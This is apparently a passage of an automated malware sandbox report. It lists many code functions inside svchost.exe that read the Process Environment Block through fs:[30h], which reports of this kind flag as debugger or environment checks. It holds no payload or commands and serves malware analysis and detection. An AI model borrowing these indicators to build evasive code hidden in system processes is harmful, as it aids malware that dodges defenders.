Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335438F mov eax, dword ptr fs:[00000030h]	1_2_0335438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335438F mov eax, dword ptr fs:[00000030h]	1_2_0335438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0334E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0334E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0334E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033663FF mov eax, dword ptr fs:[00000030h]	1_2_033663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033403E9 mov eax, dword ptr fs:[00000030h]	1_2_033403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE3DB mov eax, dword ptr fs:[00000030h]	1_2_033DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE3DB mov eax, dword ptr fs:[00000030h]	1_2_033DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_033DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE3DB mov eax, dword ptr fs:[00000030h]	1_2_033DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D43D4 mov eax, dword ptr fs:[00000030h]	1_2_033D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D43D4 mov eax, dword ptr fs:[00000030h]	1_2_033D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EC3CD mov eax, dword ptr fs:[00000030h]	1_2_033EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0333A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033383C0 mov eax, dword ptr fs:[00000030h]	1_2_033383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033383C0 mov eax, dword ptr fs:[00000030h]	1_2_033383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033383C0 mov eax, dword ptr fs:[00000030h]	1_2_033383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033383C0 mov eax, dword ptr fs:[00000030h]	1_2_033383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B63C0 mov eax, dword ptr fs:[00000030h]	1_2_033B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332823B mov eax, dword ptr fs:[00000030h]	1_2_0332823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274 mov eax, dword ptr fs:[00000030h]	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334260 mov eax, dword ptr fs:[00000030h]	1_2_03334260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334260 mov eax, dword ptr fs:[00000030h]	1_2_03334260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334260 mov eax, dword ptr fs:[00000030h]	1_2_03334260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332826B mov eax, dword ptr fs:[00000030h]	1_2_0332826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A250 mov eax, dword ptr fs:[00000030h]	1_2_0332A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336259 mov eax, dword ptr fs:[00000030h]	1_2_03336259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EA250 mov eax, dword ptr fs:[00000030h]	1_2_033EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EA250 mov eax, dword ptr fs:[00000030h]	1_2_033EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B8243 mov eax, dword ptr fs:[00000030h]	1_2_033B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B8243 mov ecx, dword ptr fs:[00000030h]	1_2_033B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033402A0 mov eax, dword ptr fs:[00000030h]	1_2_033402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033402A0 mov eax, dword ptr fs:[00000030h]	1_2_033402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov eax, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov eax, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov eax, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov eax, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C62A0 mov eax, dword ptr fs:[00000030h]	1_2_033C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E284 mov eax, dword ptr fs:[00000030h]	1_2_0336E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336E284 mov eax, dword ptr fs:[00000030h]	1_2_0336E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B0283 mov eax, dword ptr fs:[00000030h]	1_2_033B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B0283 mov eax, dword ptr fs:[00000030h]	1_2_033B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B0283 mov eax, dword ptr fs:[00000030h]	1_2_033B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033402E1 mov eax, dword ptr fs:[00000030h]	1_2_033402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033402E1 mov eax, dword ptr fs:[00000030h]	1_2_033402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033402E1 mov eax, dword ptr fs:[00000030h]	1_2_033402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0333A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0333A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0333A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0333A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0333A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03360124 mov eax, dword ptr fs:[00000030h]	1_2_03360124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DA118 mov ecx, dword ptr fs:[00000030h]	1_2_033DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DA118 mov eax, dword ptr fs:[00000030h]	1_2_033DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DA118 mov eax, dword ptr fs:[00000030h]	1_2_033DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DA118 mov eax, dword ptr fs:[00000030h]	1_2_033DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F0115 mov eax, dword ptr fs:[00000030h]	1_2_033F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov ecx, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov ecx, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov ecx, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov eax, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DE10E mov ecx, dword ptr fs:[00000030h]	1_2_033DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332C156 mov eax, dword ptr fs:[00000030h]	1_2_0332C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C8158 mov eax, dword ptr fs:[00000030h]	1_2_033C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336154 mov eax, dword ptr fs:[00000030h]	1_2_03336154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03336154 mov eax, dword ptr fs:[00000030h]	1_2_03336154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C4144 mov eax, dword ptr fs:[00000030h]	1_2_033C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C4144 mov eax, dword ptr fs:[00000030h]	1_2_033C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C4144 mov ecx, dword ptr fs:[00000030h]	1_2_033C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C4144 mov eax, dword ptr fs:[00000030h]	1_2_033C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C4144 mov eax, dword ptr fs:[00000030h]	1_2_033C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B019F mov eax, dword ptr fs:[00000030h]	1_2_033B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B019F mov eax, dword ptr fs:[00000030h]	1_2_033B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B019F mov eax, dword ptr fs:[00000030h]	1_2_033B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B019F mov eax, dword ptr fs:[00000030h]	1_2_033B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A197 mov eax, dword ptr fs:[00000030h]	1_2_0332A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A197 mov eax, dword ptr fs:[00000030h]	1_2_0332A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A197 mov eax, dword ptr fs:[00000030h]	1_2_0332A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034061E5 mov eax, dword ptr fs:[00000030h]	1_2_034061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03370185 mov eax, dword ptr fs:[00000030h]	1_2_03370185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EC188 mov eax, dword ptr fs:[00000030h]	1_2_033EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EC188 mov eax, dword ptr fs:[00000030h]	1_2_033EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D4180 mov eax, dword ptr fs:[00000030h]	1_2_033D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D4180 mov eax, dword ptr fs:[00000030h]	1_2_033D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033601F8 mov eax, dword ptr fs:[00000030h]	1_2_033601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_033AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_033AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_033AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_033AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_033AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F61C3 mov eax, dword ptr fs:[00000030h]	1_2_033F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F61C3 mov eax, dword ptr fs:[00000030h]	1_2_033F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C6030 mov eax, dword ptr fs:[00000030h]	1_2_033C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A020 mov eax, dword ptr fs:[00000030h]	1_2_0332A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332C020 mov eax, dword ptr fs:[00000030h]	1_2_0332C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E016 mov eax, dword ptr fs:[00000030h]	1_2_0334E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E016 mov eax, dword ptr fs:[00000030h]	1_2_0334E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E016 mov eax, dword ptr fs:[00000030h]	1_2_0334E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E016 mov eax, dword ptr fs:[00000030h]	1_2_0334E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B4000 mov ecx, dword ptr fs:[00000030h]	1_2_033B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000 mov eax, dword ptr fs:[00000030h]	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335C073 mov eax, dword ptr fs:[00000030h]	1_2_0335C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03332050 mov eax, dword ptr fs:[00000030h]	1_2_03332050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B6050 mov eax, dword ptr fs:[00000030h]	1_2_033B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F60B8 mov eax, dword ptr fs:[00000030h]	1_2_033F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_033F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C80A8 mov eax, dword ptr fs:[00000030h]	1_2_033C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333208A mov eax, dword ptr fs:[00000030h]	1_2_0333208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0332C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033720F0 mov ecx, dword ptr fs:[00000030h]	1_2_033720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0332A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033380E9 mov eax, dword ptr fs:[00000030h]	1_2_033380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B60E0 mov eax, dword ptr fs:[00000030h]	1_2_033B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B20DE mov eax, dword ptr fs:[00000030h]	1_2_033B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336273C mov eax, dword ptr fs:[00000030h]	1_2_0336273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336273C mov ecx, dword ptr fs:[00000030h]	1_2_0336273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336273C mov eax, dword ptr fs:[00000030h]	1_2_0336273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AC730 mov eax, dword ptr fs:[00000030h]	1_2_033AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C720 mov eax, dword ptr fs:[00000030h]	1_2_0336C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C720 mov eax, dword ptr fs:[00000030h]	1_2_0336C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330710 mov eax, dword ptr fs:[00000030h]	1_2_03330710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03360710 mov eax, dword ptr fs:[00000030h]	1_2_03360710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C700 mov eax, dword ptr fs:[00000030h]	1_2_0336C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03338770 mov eax, dword ptr fs:[00000030h]	1_2_03338770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770 mov eax, dword ptr fs:[00000030h]	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330750 mov eax, dword ptr fs:[00000030h]	1_2_03330750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BE75D mov eax, dword ptr fs:[00000030h]	1_2_033BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372750 mov eax, dword ptr fs:[00000030h]	1_2_03372750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372750 mov eax, dword ptr fs:[00000030h]	1_2_03372750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B4755 mov eax, dword ptr fs:[00000030h]	1_2_033B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336674D mov esi, dword ptr fs:[00000030h]	1_2_0336674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336674D mov eax, dword ptr fs:[00000030h]	1_2_0336674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336674D mov eax, dword ptr fs:[00000030h]	1_2_0336674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033307AF mov eax, dword ptr fs:[00000030h]	1_2_033307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E47A0 mov eax, dword ptr fs:[00000030h]	1_2_033E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D678E mov eax, dword ptr fs:[00000030h]	1_2_033D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033347FB mov eax, dword ptr fs:[00000030h]	1_2_033347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033347FB mov eax, dword ptr fs:[00000030h]	1_2_033347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033527ED mov eax, dword ptr fs:[00000030h]	1_2_033527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033527ED mov eax, dword ptr fs:[00000030h]	1_2_033527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033527ED mov eax, dword ptr fs:[00000030h]	1_2_033527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_033BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0333C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B07C3 mov eax, dword ptr fs:[00000030h]	1_2_033B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E627 mov eax, dword ptr fs:[00000030h]	1_2_0334E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03366620 mov eax, dword ptr fs:[00000030h]	1_2_03366620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03368620 mov eax, dword ptr fs:[00000030h]	1_2_03368620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333262C mov eax, dword ptr fs:[00000030h]	1_2_0333262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372619 mov eax, dword ptr fs:[00000030h]	1_2_03372619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE609 mov eax, dword ptr fs:[00000030h]	1_2_033AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334260B mov eax, dword ptr fs:[00000030h]	1_2_0334260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03362674 mov eax, dword ptr fs:[00000030h]	1_2_03362674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F866E mov eax, dword ptr fs:[00000030h]	1_2_033F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F866E mov eax, dword ptr fs:[00000030h]	1_2_033F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A660 mov eax, dword ptr fs:[00000030h]	1_2_0336A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A660 mov eax, dword ptr fs:[00000030h]	1_2_0336A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334C640 mov eax, dword ptr fs:[00000030h]	1_2_0334C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033666B0 mov eax, dword ptr fs:[00000030h]	1_2_033666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0336C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334690 mov eax, dword ptr fs:[00000030h]	1_2_03334690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03334690 mov eax, dword ptr fs:[00000030h]	1_2_03334690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_033AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_033AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_033AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_033AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B06F1 mov eax, dword ptr fs:[00000030h]	1_2_033B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B06F1 mov eax, dword ptr fs:[00000030h]	1_2_033B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0336A6C7
